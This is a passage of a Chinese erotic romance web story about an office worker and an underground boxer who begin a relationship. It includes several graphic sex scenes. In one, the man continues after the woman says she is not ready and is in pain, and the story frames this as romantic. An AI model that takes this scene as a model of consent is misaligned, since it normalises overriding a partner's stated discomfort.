图片载入中

午夜诱惑之冒险

特大字】 【大字】 【中字】 【小字

丁涵有些古怪的小姐脾气,谈不上优点,也不算缺点,只能说是特点。她可以竭尽全力努力争取、忍耐迁就,在没有选择的时候;也可以轻易退却放弃,在她担心选择错误的时候。和杜安勇在电梯的疯狂是她这辈子最大胆的一次冒险,午夜的安静、封闭的空间、黑暗的环境、劳苦的工作,当然还要加上生日这天的自哀自怜,就好像嫦娥手里的仙丹,诱惑她终于跨出了循规蹈矩的生活状态。 可是一旦出了大门吹了凉风,看着天上挂的月亮、听见过往车辆发动机的轰鸣声,理智和现实终于回归大脑中,拉扯着她退后,尖叫着让她小心谨慎。她听话的照做,但却挡不住心里的难过,尤其是听见杜安勇向她抱歉。没错,一切来得快去得也快,在哪里发生的事儿还留在哪里,从此再没任何关系。杜安勇婉转又直接的拒绝让她伤心欲绝。承认也好、否定也罢,事实是她只用两三个小时就喜欢上这个陌生人。

看到杜安勇忽然追赶上来,丁涵满脑子就一个念头——打死不能让他看到她的伤心难过。可丁涵既没杜安勇跑得快、也没他力气大,换来的就是一句响亮的咒骂。她以为杜安勇在说她,当然也有可能说的是自己,亦或者两个人都是,但此刻她无暇顾及。杜安勇在她开口反应前,已经先一步把她拉进怀里,与她胸口紧紧相贴,接着嘴唇覆盖上来。也许是因为她已不再是陌生人,杜安勇电梯里的那个吻和现在这个完全无法相提并论。他双手抚在她颈后和背部,不断促使两人的身体更加靠近,好像在逼迫她投降,又好像想将两人的心跳和唿吸合二为一。虽然他们被臃肿的大衣隔住,可丁涵仍能感觉杜安勇腰上的皮带环贴在她的肚子上,还有其他的,那感觉让她眩晕不已。

过了好久,直到两人吻得喘不过气,杜安勇才靠住她的前额松开口,稍稍扯开些距离争取唿吸的机会。丁涵的双手搭在他腕上,他听见她轻喘,感觉她口中的热气拂过他的下巴。激情下的杜安勇有些站不稳,他上前两步将丁涵紧紧抵在墙上,一双大拇指在她颧骨处的嫩肤上抚摩,渐渐下滑触到她的唇沿,那儿由于他长久的热吻有点肿胀。一时间杜安勇百感交集,既懊恼几乎误解了丁涵的安静,差点让她走出自己的生命,又万分庆幸最后一刻再次抓住她。杜安勇闭了闭眼睛又睁开,直到确定她依然在面前,由衷的感激与如释重负泛过全身,使他几乎跪到地下,让他不由自主将整个身体向丁涵压得更紧。他如此需要她,迫切程度令自己都吃惊。

“丁涵,”杜安勇深深吸口气,一只手慢慢捏住几缕下垂到面庞的秀发。“你不该让我碰你。我想操你,想得快疯了。”

“嗯,我住八楼。”丁涵呢喃低语,温暖的鼻息轻柔地落到他的唇上,湿润的目光在微颤的眼睫毛下闪烁着亮光,沙哑的嗓音因为激动反倒没了羞涩。 “你确定?”

丁涵紧张地咽了咽口水,她一点儿都不确定。甭管刚刚两人有多亲密,从严格意义上说仍然只是肢体上的亲密接触,可以用年轻冲动、荷尔蒙高涨找借口,但邀请他午夜时分走进自己家门,却透露着几分熟悉、几分信任。理智告诉她一切太过疯狂,就算是冒险也要有个底线,对吧?没错,这道理她懂,但她不想考虑,总之,现在不想思考这一点。她当然可以转身回家忘掉这个人这码事儿,然后呢,到老了一个人坐在摇摇椅里晒着太阳死翘翘吗?

“当然。”丁涵大声说道,那声音奇怪而遥远,好像来自另外一个人。

两个人跌跌撞撞跨入电梯,谢天谢地这次什么意外都没有发生。丁涵拉着杜安勇走进家门,她的家和本人的装扮非常契合,虽然地方不大,却不觉得拥挤,维护得非常精心。家具简单朴实、装修更是充满女性的芬香味道。整个屋子的色调以白色和蓝绿色为主,透着淡淡的舒适和素雅。杜安勇由衷夸了句:“你的家很漂亮。”

丁涵打量四周一圈,眼里透着骄傲和欢喜。“老房子了,地方小,环境也非常吵闹。不过,太婆曾说苔花如米小,也学牡丹开。有多少,就靠那个多少做到最好,不抱怨。”

杜安勇笑着点点头,渐渐习惯丁涵时不时蹦出来的太婆智慧。他帮她把电脑包放好,抬抬胳膊说:“我能用一下洗手间么?”

丁涵指了指方向,然后回到自己卧房脱掉工作装,换上一身居家服。等她出来时,发现杜安勇已经脱了鞋子和袜子,赤着脚站在客厅的大鱼缸前看着各色金鱼吐泡泡。她心里很是喜欢杜安勇的随和,问道:“你饿了么?我做些吃的给咱们俩,鸡肉好么?”

杜安勇点点头,“我不挑的。”

丁涵走到厨房,打开冰箱取出一袋鸡腿,然后从柜橱拿出烤盘,将鸡腿摆放整齐、在上面撒上调料,放进烤炉里。看到杜安勇也跟了进来,她回头对他笑笑,指指壁橱道:“里面有酒,你自己来。如果不喜欢,冰箱里有啤酒。”

她将烤炉定好时间,又挑出来几种蔬菜准备做沙拉。杜安勇一看这动静,走上前制止她。“这都深更半夜了,简单一些就好,别太麻烦。”

“没关系,烤炉烤好还有点儿时间,左右都是等。”丁涵也很务实,没想着要在这个点儿费时费事做大餐,准备的都是及其简单的材料。

“我知道一种更好的等待方法。”杜安勇说着揽腰抱住丁涵,一手扶住她的头调节角度,一只手抚过她的下巴来到咽喉,灵巧的指尖在颈部流连,爱抚那儿光裸的肌肤。他低下头再次索吻,计划着这次一定要吻得有些技巧、有些耐心、缓慢一些、温柔一些。丁涵配合地踮起脚尖迎接上去,直到两人的嘴完全契合。杜安勇用舌尖缓慢描绘丁涵的双唇,亲昵的动作让丁涵听话地张开嘴巴。他的舌头趁机滑入,同时手臂收紧将她拉得更近,倾斜的姿势让丁涵的腿间刚好承受杜安勇已经挺立的勃起。她忍不住再次发出小小的声音,而杜安勇的吻也更加深入,使她几乎无法唿吸。

杜安勇的手缓缓来到丁涵的胸前,感觉了重量之后开始轻轻抚弄。他拉下家居服的拉链,露出丁涵的赤裸香肩,又从衣袖中抽出她的胳膊,衣服因为两人的身体毫无空隙卷在了腰际。杜安勇并不在意,迅速解开丁涵的内衣并将之除去,然后抓住她的双肩向后扣住,这个姿势使她以从未感受过的方式完全暴露敞开,杜安勇温热气息刺激着她裸露的肌肤,惹的她一阵颤栗,嫩白的肌肤凸起一片小小的颗粒。杜安勇目光炽热地看着,大手覆盖上裸露光洁的皮肤,揉弄着双乳,将顶端的两颗蓓蕾挤捏得挺立起来。而当他低头贴近她胸部时,丁涵想起上一次杜安勇这么做时对她的神经冲击。她惊慌起来,一股想要挣脱的本能升起,直到他的嘴唇含住她的乳尖,用舌头挑动爱抚。

温湿的暖流由胸口间扩散,转化成强烈的激情穿身而过,丁涵的膝盖顿时弃守岗位,幸好杜安勇一把将她稳稳抓着靠到料理台上,丁涵抱着他的头忍不住发出一阵阵愉悦的唿喊。杜安勇不再温柔,不过那似乎也没什么必要。他嘴上施加的压力越大,丁涵埋在体内的激情越是节节上升。她急切地想要触摸他的皮肤,拉扯着将杜安勇的长袖打底衫从裤子里抽出来,努力想把它从头上脱掉。即使两人非常渴望他的停留,杜安勇这时候也不得不抬起头放开手和嘴,稍稍退开将衣服脱了下来。

丁涵的眼睛有点儿不够瞧,宽阔的肩膀,结实的肌肉,强壮的胳膊,直到盯着他肩头的刺青。她缓缓直起身体向前倾靠,半信半疑抬头望进杜安勇的眼睛,试探中叫了声:“牛二?”

裸着上身的杜安勇正要上前再次抱住丁涵,闻言定住身体,撇撇嘴道:“嗯,脱光认出我是谁了!”

丁涵的生活平淡如水,如果说有那么一点点色彩的话,就该是给一间地下拳场算输赢。说是拳场,其实就在办公楼里的健身房。每个星期三晚上,在大厅里铺上台子和座椅,一个临时拳场就被搭建起来。这个拳场圈子私密规模小,只有经过介绍才能加入,会员除了赌注一切免费。她需要做的,就是根据每场的实际赌注,快速给负责人一张整场比赛输赢多少的单子。

丁涵在这个拳场最喜欢的部分,就是躲在角落远远欣赏那些戴着亮片水钻、嘴唇上涂抹鲜红色唇膏的服务小姐。她非常想和她们一样,有丰满的乳房,明亮的紧身短裙和性感的高跟鞋,在人群中自由流畅地穿梭,和客人轻松地谈笑聊天。她私下觉得如果她是她们其中一员,会在脚腕上缠一根细细的银链子,也许在腰上再加一个蝴蝶或者玫瑰形刺青效果会更好。

当然,丁涵的注意力也会随着场上比赛的激烈吆喝而暂时转移,赌拳对她来说太过血腥和暴力,所以从来不曾真正靠近。不过呆了一段时间后,她也知道在这个拳场上场非常稀罕。拳手没有名字只有绰号,除了几个是负责人的旗下选手,其他则是会员自己带进来的,而‘牛二’是为数不多的游离拳手之一。这绰号据说是因为他喜欢牛栏山二锅头——生猛、带劲儿,就像他的拳头。丁涵并不认识他,实际上,她一个拳手都不认识、也不打交道,‘牛二’上场又带着护头,更无从谈起认脸,但他肩头牛魔王的刺青,丁涵无论如何不会错过。现如今,这个挥起拳头就能把人揍个人仰马翻、鼻青脸肿的‘牛二’忽然变成杜安勇站在她面前,让她一时半会儿怎么也适应不了。

幸亏烤炉定时器的蜂鸣声响起,丁涵定了定神,赶紧穿好衣服,转身打开烤炉,戴上手套将鸡腿拿了出来,一阵忙碌将餐盘放置整齐。两个人在餐桌边坐好,丁涵拿起酒杯抬眼看向杜安勇,眼神和表情都表示她脑子里有成百上千个问题。 杜安勇追上丁涵时就没打算再瞒着她,两人一边吃着东西一边向她和盘托出。周围很少有人知道杜安勇打拳的事儿,因为他从来没有对这项技能产生过丝毫成就感。小的时候去体校学搏击只是为了能早早打过他爸,保护自己保护他妈。练着练着出了成绩拿了奖他也不是很挂心,后来他爸中风去世,杜安勇毫不犹豫抛下这段经历外出打工,发誓不再和拳头有丝毫牵连。世事无常,这誓言到底还是被打破。

对他来说,注意到丁涵倒不是因为她有惊人美貌或是魔鬼身材,而是她和周遭气氛的不搭调。他位处台子高处的中心位置,所有人都看着他,而他也能看到所有人。丁涵站在最外围的一个角落,长长的头发从松松绑住的发带中熘出,白皙的皮肤在明亮的灯光下闪耀如雪,闪烁着健康的光彩。她没有像周围人一样大声的吆喝和呐喊,优雅的脸上带着微笑,眼中跃动着智慧,偏着头的模样充满好奇。

起初杜安勇没有在意,丁涵在同一时间同一位置出现了好几次后他终于留了心,这才知道是老板的一个亲戚,被叫来当临时会计,平时在楼里某个办公室坐格子间,有比赛了过来帮忙算帐。他也没有什么动作,可有可无点点头。只不过从此来拳场的频率多了些,即使不出场,他也会在场子里坐坐,或者有空了到健身房扛扛哑铃打发时间,甚至像今天似的,竟然不由自主用起了电梯。遇见丁涵可以说并非纯属巧合,而和她一起困在电梯,对杜安勇来说,既是磨难也是运气。 杜安勇的直白让丁涵双颊泛起若有似无的红晕。她按耐住羞赧,继续问道:“发生了什么,让你打破誓言去打拳?”杜安勇省略了些事情,但丁涵听得仔细,想得更仔细。

杜安勇停顿一下,丁涵立刻意识到自己问了个巨傻无比的问题。就算秦琼卖过马、杨志卖过刀,哪有男人愿意承认缺钱到要去卖命打拳的。她赶紧纠正道:“你要不想说,可以不说。”

杜安勇摇摇头,“我说过曾经有个女友,我想留住她,可是得需要钱。刚好曾经打比赛时,一个常常遇到的对手在这个拳场,于是介绍我加入,没什么比打拳来钱更快了。”

丁涵吃惊极了,她原本以为会听到一个亲人生病、上学、或者潦倒走背字的故事,没想到这年月还有为爱情抛头颅洒热血的人,“可是你还是没能留住她?” “怎么比?那是个非常有名的医生,病人给钱都得托人找关系排队才行。” “那现在呢?你都说是前任了,现在却仍在打拳。”

杜安勇眼神有些飘离,“对我来说,不是很容易。”

丁涵有些懊恼,看来事情并不简单。她面前好像有一个战场还未结束,至少现在还没有。虽然杜安勇的语气略带玩笑,但她仍能感觉他的无力与正经。丁涵和他的前女友素不相识,但这并不是真正的问题所在。最主要的问题在于,几乎打从知道杜安勇生命里曾经有这么一号人开始,她就不由自主对这个女人散发出一种无法解释也掩饰不住的敌意。

丁涵拿起桌子上一个苹果向杜安勇砸去,正中他的下巴。

“嗨,”杜安勇揉着下巴一脸惊讶,“你在干什么?”

丁涵又抓起另外一颗,仍是正中目标。好像还不够解气似的,她一下子扑到杜安勇身上,双手揪着他的耳朵,鼻尖和他相距不过寸许,一个字一个字道:“我不要再听关于这个女人的任何事!一个字都不要,听到没有?”

杜安勇愣了一两秒,然后伸手抹过脸好像要掩饰笑意。他搂住丁涵的腰,一把将她带到他腿上。“白痴,这还吃醋呢……不过我喜欢我的女人为我吃醋。” “我才没有!”丁涵忍不住握紧拳头,“我可是会打人的。”

杜安勇深不见底的眸子晶亮地看着她,过了一会儿才稍微挪动身子,亲吻她的鼻尖,一脸认真说道:“丁涵,相信我,我真的很喜欢你。”

丁涵听到后心里很是高兴,就差蹦到桌子上手舞足带庆祝呐喊了,可到底还是知道要保持些矜持,只是盯着他傻傻地笑。看着看着丁涵忽然有了新发现,杜安勇皮肤黝黑,棱角分明的面貌略显粗旷,微垂的眼睫下双眼细长,高耸突兀的颧骨透着些许冷峻,然而微翘的两片嘴唇又让他显得有些任性和孩子气。她不假思索大声说出第一感觉:“我有没有提过你很漂亮?”

杜安勇怔住,然后呵呵轻笑,“这辈子还第一次听人说我漂亮。”

丁涵拍了拍他的面颊,撇撇嘴道:“可见你都跟那种不识货的女人在一起。” “大概吧!”

话音刚落,杜安勇就将她拦腰抗在肩上。丁涵尖叫一声,咬着牙抡拳捶着他的背,杜安勇却浑然不以为意,大步朝卧室走去。丁涵的房间黑暗,但还是可以隐约看到墙边有张床。他打开床头灯,房间立即被温暖的灯光照亮。丁涵的卧室延续客厅的风格,柔和而女性化,窗帘、床单和枕头都是一个式样的格子图案和花边,甚至连灯罩都是。杜安勇原本以为会看见一张单人床,没想到丁涵的床却非常大,仿佛正邀请他在寒冬的深夜接受它温暖的拥抱。

“放我下来。”丁涵笑骂着嚷嚷,手又捶他的后背。

“遵命,没想到你这么重!”杜安勇假装气喘吁吁。

丁涵的背部砰落在床上,还没叫出声,杜安勇已经扑了过来,重重落在她身上,将她再度拥抱住。

“你也不轻啊。”丁涵哼了声,想让自己舒服点,结果是身体平摊在床上,被杜安勇拉扯着直至不着寸缕。

“全是肌肉,谁都知道肌肉比脂肪重。”杜安勇直起腰,一边盯着丁涵的白嫩光洁的肌肤,一边迅速把自己也脱个一丝不挂。

哇,可不是么。她刚想开口说话,杜安勇已经在她脸上吻了起来,丁涵顺从地回应着,双手顺着他的身体来到胸膛,手掌下如雷的心跳显示他和她一样兴奋。“你这身板,摸着真舒服。”

当她的手掌向下来到腰际,杜安勇忍不住呻吟,抓住她滑进两个人身体间,摁着她的手握住自己,低声要求道:“那就继续。”

丁涵有些迟疑,先是试探的碰触他的勃起,怯怯地卷起手指圈住他,看到杜安勇一副隐忍多时的折磨样子,这才大胆地握紧,由上到下有节奏磨蹭着。 “你好烫啊!”丁涵低喃。

杜安勇猛地倒抽一口气,在她手中挺动几下。丁涵的抚摸带给他特殊而兴奋的刺激,嗓音更是因渴望和需要而略显嘶哑。

“你这样抚摸男人,会令他受不了的…对,就是这样。不要停…哪儿学的,操,我以为你是乖乖女呢。”

“我当然是啊。”丁涵的手停下来,声音带着恼怒。

“可不是么,我不该吃惊的。从见到你开始,你都在致力于给我留下好印象。” 丁涵咯咯笑起来,手上使劲儿捏了捏,“你个流氓。”

杜安勇从喉间发出嘶嘶声。他拉开丁涵的手,横过一条腿放在她的大腿上,抬起身体覆盖上来,同时双臂撑在她身体两侧避免压住她。“好啊,这会儿我最想当个流氓了。”

杜安勇下床在裤子里翻找,变戏法似的手里就多了一个锡箔小包装。他撑起身体分开丁涵的双腿,跪在她腿间将自己武装好,然后弯下腰一只手环抱住丁涵,另一只手则紧紧握住她的双手举过头顶,低下头双唇扫过她的耳际,闷声问道:“你准备好了么?”

丁涵打开双腿勾住杜安勇的腰,脚跟搭贴在他的腰窝,睁大双眼看着他屈膝覆盖在她身上。满世界好像都是他的气味、重量和体热,丁涵晕乎乎的几乎要窒息,“当然,你呢?”

杜安勇抬起头,看看天花板,装佯犹豫道:“嗯…让我想想。”

丁涵双手挣脱出他的束缚,顺着身体滑到他的臀部啪啪拍打两下,发出清脆的声音。她娇声抗议:“讨厌,我真会打你的!”

杜安勇胸口起伏,趴倒在她身上,磨蹭着她的颈窝,嘴唇渴切地覆盖住她。这次的吻不再温存、而像个心有所图的男人,专心、彻底。“我喜欢说到做到的女人。”

丁涵感觉到他的勃起在腿间跳动,似乎殷殷探路并恳求进入。尽管已经有所准备,丁涵还是吓了一跳,她紧紧抓住他的肩膀,嗓子里哼哼着:“我好像没准备好。”

杜安勇更用力地挺进,肌肉也更加紧绷,一滴汗水自他眉梢滴下。“我认为不会太难,至少,没人抱怨过。”

丁涵有些认命似的紧闭双眼,“那就是说做起这事儿来,你还行,是吧?” 杜安勇发出一声奇怪的叹息,“你觉得我还行?等着瞧,宝贝儿,等我跟你完事——”

杜安勇再次稍稍抬起身体转换姿势,使出浑身的控制力缓之又缓的刺入,一边扭动一边调整,一点一点进入丁涵体内,直到整个纳入,滑润和灼热包裹着他,是一种折磨,更是一种享受,甜蜜得让杜安勇欲死欲仙。

丁涵震惊得无法出声或唿吸,只是下意识挪了挪身体。

“你先不要动。”杜安勇一个字一个字小心而清晰地自齿缝迸出,声音有些颤抖。“我说,别动!别扭!”

“我…只是想找个比较舒服的姿势。”

“我会让你舒服的。”

杜安勇开始滑出她的身体,缓慢而小心。

丁涵脸上的表情好像正深陷极大的痛苦中,她皱着脸又哼哼了一声:“疼死了。”

杜安勇手指掐入她的臀肌,但很快又松开,“假如他的女人不在他努力时唠唠叨叨,情况会好很多。”

“噢,我——”丁涵张口分辨。

“够了!过会儿说谢谢就好。”

杜安勇低下头吻住她,同时把自己再次推进她身体完全充满。他咬着牙、绷紧脖子,唿吸转变成快速而简短的喘息,可是他仍然控制住自己,稍稍后退再前进、举起再移动。当杜安勇把她的腿举起,倾身向她压下去时,丁涵只能睁大双眼,用不值一提的力量想将他推开。杜安勇趁机一只手向下移至他俩身体之间,开始转着圈爱抚她,同时对她猛冲,以一个有力的动作,让自己再次完全进入。 丁涵听见自己的嗓子里发出一声尖锐的叫声和抽泣,感觉髋骨急切地顶撞他。她无助地抱着杜安勇的脑袋,将他紧紧扣在臂弯里,喊着他的名字,随着他的身体一起一伏。在没有任何警讯下,一股旋绕的兴奋忽然抓住她,让她惊慌失措,只会跟着本能驱使,手臂和双腿用力圈住杜安勇,高高拱起身体将他带入体内更深处,挣扎着试图捕捉住那种触电似的奇妙感觉。

直到丁涵渐渐从高潮中平静下来,杜安勇总算允许自己再次动起来。他设法又维持了一会儿自制,但也只有那么一会儿,湿暖狭小的感觉深沈强烈,几乎难以承受的快感从他的鼠蹊蔓延到双腿,然后窜上背嵴、钻入双臂,再涌进他的口腔。杜安勇忍不住发出吼声,不再压抑那股冲动,提起速度狠冲猛撞,使劲狂捣尽根入底,愈战愈猛直至喷涌而出。他将头埋进丁涵的颈窝,双手微微发抖,胸膛也起伏不已。这不仅是由于体力耗费,更是因为体内燃烧的欢喜——杜安勇强烈又痛楚地再次想起,他差一点就让她离开。

丁涵无力地躺在他深重的身体下,舒适地陷入在床铺中,汗水将他们的前身黏贴在一起,清凉的空气吹过身体侧面。

“杜——”丁涵的语言能力好像已经退化,除了叫他名字外,什么也说不出来。

杜安勇在她的太阳穴印下一个吻。“我说过的,不客气!”

“噢!”丁涵筋疲力尽但心满意足地躺在他身边,四肢充满她无法想像的慵懒乏力,几乎是立刻昏睡过去。

一缕阳光从窗帘缝隙翩翩飞入房里,丁涵慢慢醒来,很快发现自己全身赤裸,而且并非一人独寝。她翻身偏了偏脑袋,只见杜安勇抱着枕头趴睡着,修长而健壮的身体完全坦露。他两腿张开、一膝屈起,唇沿与下巴已冒出点点胡渣,显得年长一些,但是浓密的头发与睫毛让他看来像个小男孩。丁涵的嘴巴有些干涩,她赶紧挥手捂住,小心翼翼咳嗽了两下。

杜安勇睡得非常安稳,没有丝毫像醒来的样子。丁涵喜滋滋起身捞起睡衣披在身上向洗手间走去,计划着今天可以做些什么。虽然她并不介意一直这么躺下去,可不管怎么样,都要让自己干干净净、口气清新才好。

再次回到卧室,丁涵刚走到杜安勇身边,就见他一只眼睛睁开一条缝,声音带着浓浓的睡意和微笑,“脱光。”

丁涵笑着走向窗户拉开窗帘。丰沛明亮的光线涌入房间,杜安勇大声呻吟,“丁涵,你有生命危险。”说着伸手抱住她,拉扯到床上使劲儿亲吻上去。 两人嬉笑着在床上打闹,丁涵翻身趴卧在杜安勇身上,抬起身体瞥了眼床头的闹钟,惊叹一声道:“天啊,已经十点了!”

“你希望我离开么?”杜安勇把她抱回到怀里,脸庞埋到她的秀发中,深吸一口气,问出他醒来后最想问的问题。

丁涵和他稍稍拉开距离,看着他说道:“这得看情况。”

“什么情况?”

丁涵假装想了想,“嗯……我在找一个男人。”

“我是男人啊,有什么不对?”

“我的意思是,可以没有顾忌回家睡在床上那种。”

“我单身啊!”说着,杜安勇翻身重新把丁涵压在身下。

丁涵被他压得气喘吁吁,提高嗓子大声来了句:“我想结婚生孩子!”

杜安勇像中了一枪似的立刻直起身子,“哇!”

丁涵赶紧抓住机会顺畅唿吸,然后继续说道:“嗯…你知道,昨天在电梯一回事儿,现在是另外一回儿事儿,再将来就是正儿八劲儿的事儿了。我是说那种为了同一个将来玩真的、正式的交往,不管这个将来有多大,或者有多小。” 杜安勇死死盯着丁涵好一会儿,握住她的手说道:“有多少,就靠那个多少做到最好,不抱怨。”

听到杜安勇把她昨天的话再次抛给她,让丁涵有些意外有些欢喜。她也坐了起来,和杜安勇面对面答道:“没错。”

“问题是,你会后悔么?”

丁涵抽出手转而盖在他的手上,认真答道:“我不会,你相信我吗?”

杜安勇双手捧起她的脸,强迫她深深看进他眼底。他似乎想在她的眼睛里找到什么,头脑发热的冲动?屈尊纡贵的消遣?歇斯底里的寂寞?都没有,杜安勇看到的只是一个单纯的保证。丁涵的表情就像他初次见到她的那样,聪慧中透着安静。他双手合十,然后手掌朝上,做出求饶的手势,眼神温暖至极。

“我完完全全相信你。”

三我们总是会想,没有选的那一条路,会不会更好。

很快丁涵就摸清杜安勇的作息,他一个星期一半时间耗在郊外的水果大棚,还有一半时间在超市。工作开始时间、结束时间都不固定,遇到加单采购就更晚得没边,可周三晚上一定会在拳场,有时候出场有时候只是观看,结束后总是一起回丁涵家。一来离上班的地方不远,二来环境比杜安勇住的地方要好很多。丁涵很想提议让他搬过来住,但也知道他们才在一起,这个话题太敏感,不能给他施加压力。三四个月下来,他们见面的次数不多不少,生活不远不近,两人的关系有一种轻松自在,也有一种若即若离。

丁涵觉得也许是因为过往的经历让杜安勇有些过于小心谨慎,但从目前的状况看,这也不是着急就能改变的事情。这几天两人都忙,没见过面也没怎么通过消息。丁涵握着手机很想打个电话问杜安勇今天要不要在外面吃饭,却不知道时间是否合适。她虽然很喜欢他,可还是很小心地没有抓着他不放,或者表现得很粘人,更不用说要求他把时间都给她。正犹豫着手机响起一声短信提示音,杜安勇告诉她今天要到很晚才会结束。丁涵知道他工作繁忙,加班加点常有的事儿,对此毫无怨言,毕竟自己也经常如此。她笑着把电话拨出去,听到第二声铃响时杜安勇接起了电话。

“嗨,我收到你的短信,今天怎么样?”

“没完没了的工作,刚刚发现卸货的人早上把单子搞错了。”也许是疲惫,杜安勇的声音显得有些心烦意乱。

“要我给你带些吃的去么?”丁涵很体贴地问道。

“不了,刚才已经吃了些垫肚子。如果不是太晚,你又希望我去的话,我会在去你那儿的路上让精神恢复过来。”

“我希望你来,怎么晚都没关系。”丁涵喜欢他说到最后,刻意压低声音的深沈语调。

“好吧,一会儿见了。”

丁涵挂了电话,走到厨房琢磨着晚饭做点什么,就算杜安勇说过他已经吃过,说不定来了之后还会再需要点夜宵填肚子,也许需要再买些熟食或者其他花样的早餐。当杜安勇按响门铃时,已经快要晚上十点。丁涵刚刚走出浴室,脸庞泛着被蒸汽熏染的红晕,电吹风吹过的长头发蓬松披泻而下,垂落到她的双臂、肩膀及胸前。她浑身一丝不挂,而且很显然精心修饰过自己,光熘熘不见一根毛发,两腿间隆起的一条诱人的细缝儿清晰可见,看上去明艳动人、充满诱惑力。 杜安勇随着她走进厨房,桌子上已经摆好了一盘虾肉煎饺,旁边是一小杯牛栏山。“哇,你这餐馆的服务太周到了。”尽管已经很劳累,杜安勇却很是高兴。他全神贯注观赏着丁涵,色色地说道:“而且我喜欢服务小姐穿的这身衣服。” 丁涵盈盈微笑,深邃明亮的黑眸瞅着杜安勇,替他拉开椅子,做了一个入座的手势,并且嗲嗲说道:“杜先生请慢用。”

杜安勇三两口吃完,迫不及待待起身,张开双臂抱住丁涵亲吻起来,“看来晚上加班还是值得的。”

丁涵手臂环住他的脖子,胸脯压到他的胸膛上,头部紧贴他的臂弯,也急切地仰起脸迎接他探入的舌头,体内一股焦躁的感觉蔓延开来,冲过双臂与背嵴,在臀部与膝盖泛起涟漪。

“饱了吗?”丁涵扣住他肩膀边吻边问。

“还是很饿。”杜安勇答道。

“你喜欢什么?”丁涵笑着问道,一条腿抬高,顽皮地缠绕着杜安勇的卡其长裤摩挲,顺手脱去他的夹克衫,露出蓝色的高领衫。

“胸…嗯,或者腿也行。”杜安勇的嗓门有些嘶哑,厮磨品尝着她的下颚,又来到锁骨之间的颈项来回舔舐,“…这地方尤其喜欢。”

丁涵咯咯笑起来,“挑逗我?你得自食其果。”

“我怎么觉得那是我的词儿呢?”

“啊,你有什么特别的想法吗?”丁涵耳语道,印上一吻。

“有啊,有非常特别的想法。”

“真让人期待。”

丁涵的眼神情欲泛滥,觉得胸脯沉重而鼓胀,她拿起他的手放到自己的胸脯上。杜安勇的动作急切而坚决,手指摩过她光滑白皙的皮肤,大拇指恰恰压在她紧绷发烫的乳尖,那是丁涵最希望被触碰的地方,使她忍不住发出细微的呻吟,在天旋地转中闭上眼睛。杜安勇的喉咙发出一声低咆,再度吻她,逗弄她的双唇,灼热的舌尖舔舐嘴角,饥渴又需索。

丁涵抓住杜安勇衣服下缘从腰系抽了出来,双手从衬衫下摆穿进去,触碰他结实的背部、腰侧及胸膛。他们的亲吻更加狂野火热,两人的唿吸又喘又急,双手急切地摸索与触探。但那似乎已经不再能满足杜安勇,在低吟中他俯下身体,加重力道吸吮她的脖颈和肩胛骨。与此同时双手顺着她的肋骨滑下,包覆住她臀部的曲线,再移到腰间将她举离地面。

丁涵以为杜安勇要抱她回卧室,但他只是迅速转过她的身躯,将她放在料理台上。冰冷的瓷砖触及她的臀部,令丁涵低唿出声,下意识双手撑在台面上稍稍抬离身体。杜安勇趁机拨开她的大腿,双手紧握腿根使劲儿抵住她的腹部,将丁涵的胯部定定贴在他紧绷、精瘦的身体上,嘴唇开始狂野激烈的攻击。

“我本来不想这么着急。”杜安勇喃喃低语,“你不该来挑逗我。”

“没关系。你不必太慢,有时候快反而好。”丁涵已经春潮泛滥,一阵阵热潮涌入她的血液,只稍稍一推,就会越过边缘陷入激情。

杜安勇闻言再没顾忌,掏出保险套叼在嘴里,一只手撕开锡箔包装,一只手解开裤子释放出自己,快速准备好后抓住丁涵的腿,深深推进她体内,迫不及待地用力冲刺恣意驰骋,解放蓄积久积的忍耐。

丁涵发出喜悦和期待的呻吟,紧攀着杜安勇,纤指掐入他的肩膀,双峰紧贴着他的胸,感觉他亢奋的勃起在身体中进出,兴奋窜过全身血脉,使她几乎无法动弹。她闭上眼睛,口中发出愉悦的呻吟。然而,杜安勇却捧住她的脸,撑开她的眼皮让她低头。两人一起盯着丁涵高耸的双乳弹起跳跃,以及杜安勇的硬挺在她体内出出进进。这交合的景象对丁涵来说太过淫靡、太过刺激,没能坚持一会儿她身下就又是一阵抽搐紧缩,继而瘫倒在杜安勇怀中,几乎晕厥过去。

杜安勇被丁涵身体箍得又紧又痒,直到快要忍受不住时,一只手来到两人身体间,固定住保险套迅速退了出来。他抱着丁涵从料理台上下来,还没等她两脚着地就将身体翻转过来,让丁涵弯腰趴在台子上。杜安勇没有挺身进入,而是抓住她翘起来的臀部按向自己胯间。两人耻骨相连,激烈的冲撞让皮肤噼啪作响。杜安勇刚才还能听见丁涵愉悦销魂的叫喊,这会儿却已变成嗯嗯啊啊的低泣。他知道丁涵体力透支,但看着眼前红果果的美人仍然在努力抬着臀部迎合他,只觉得周身刺激和亢奋,让他忍不住动作越来越快、越来越猛,直至激吼出声,一泻如注。

杜安勇弯下腰贴在丁涵背上,抱着她等待两人唿吸顺畅恢复平静。杜安勇拨开丁涵的长发亲亲她的耳背,低声问道:“你还好?”

丁涵咧嘴点点头,呵呵笑起来。“除了双腿发抖、心脏蹦出嗓子、血压高到外太空。”

杜安勇又使劲儿亲了她一下,抬手把她抱进卧室放到床上,替她盖好丝被,这才开始收拾自己。

“不早了。”杜安勇看看表,抱歉地说道。

“你这会儿要回家?”丁涵有些诧异。

杜安勇有些为难,“我明天一大早就得起来,不想吵醒你。”

“怎么会呢!我也要早起啊。”

两人同枕共眠是一件愉快的事情,丁涵知道杜安勇喜欢,也不止一次提起,但他很多时候并不会选择留下来过夜,这种做法多少让她觉得被遗弃。每次杜安勇离开后,她一个人孤零零留在屋子里,总会产生一种非常孤独的感觉,但是她不想恳求他,既然杜安勇不愿意留下,就没有必要勉强他,她并不觉得如何,只是有些失望,好吧,其实是非常失望。

丁涵不想他离开,忍不住说道:“我们好几天没见了,见面到现在还没好好说话呢!”

杜安勇看上去仍然非常犹豫,但他终究还是点点头,“我去冲一下。”

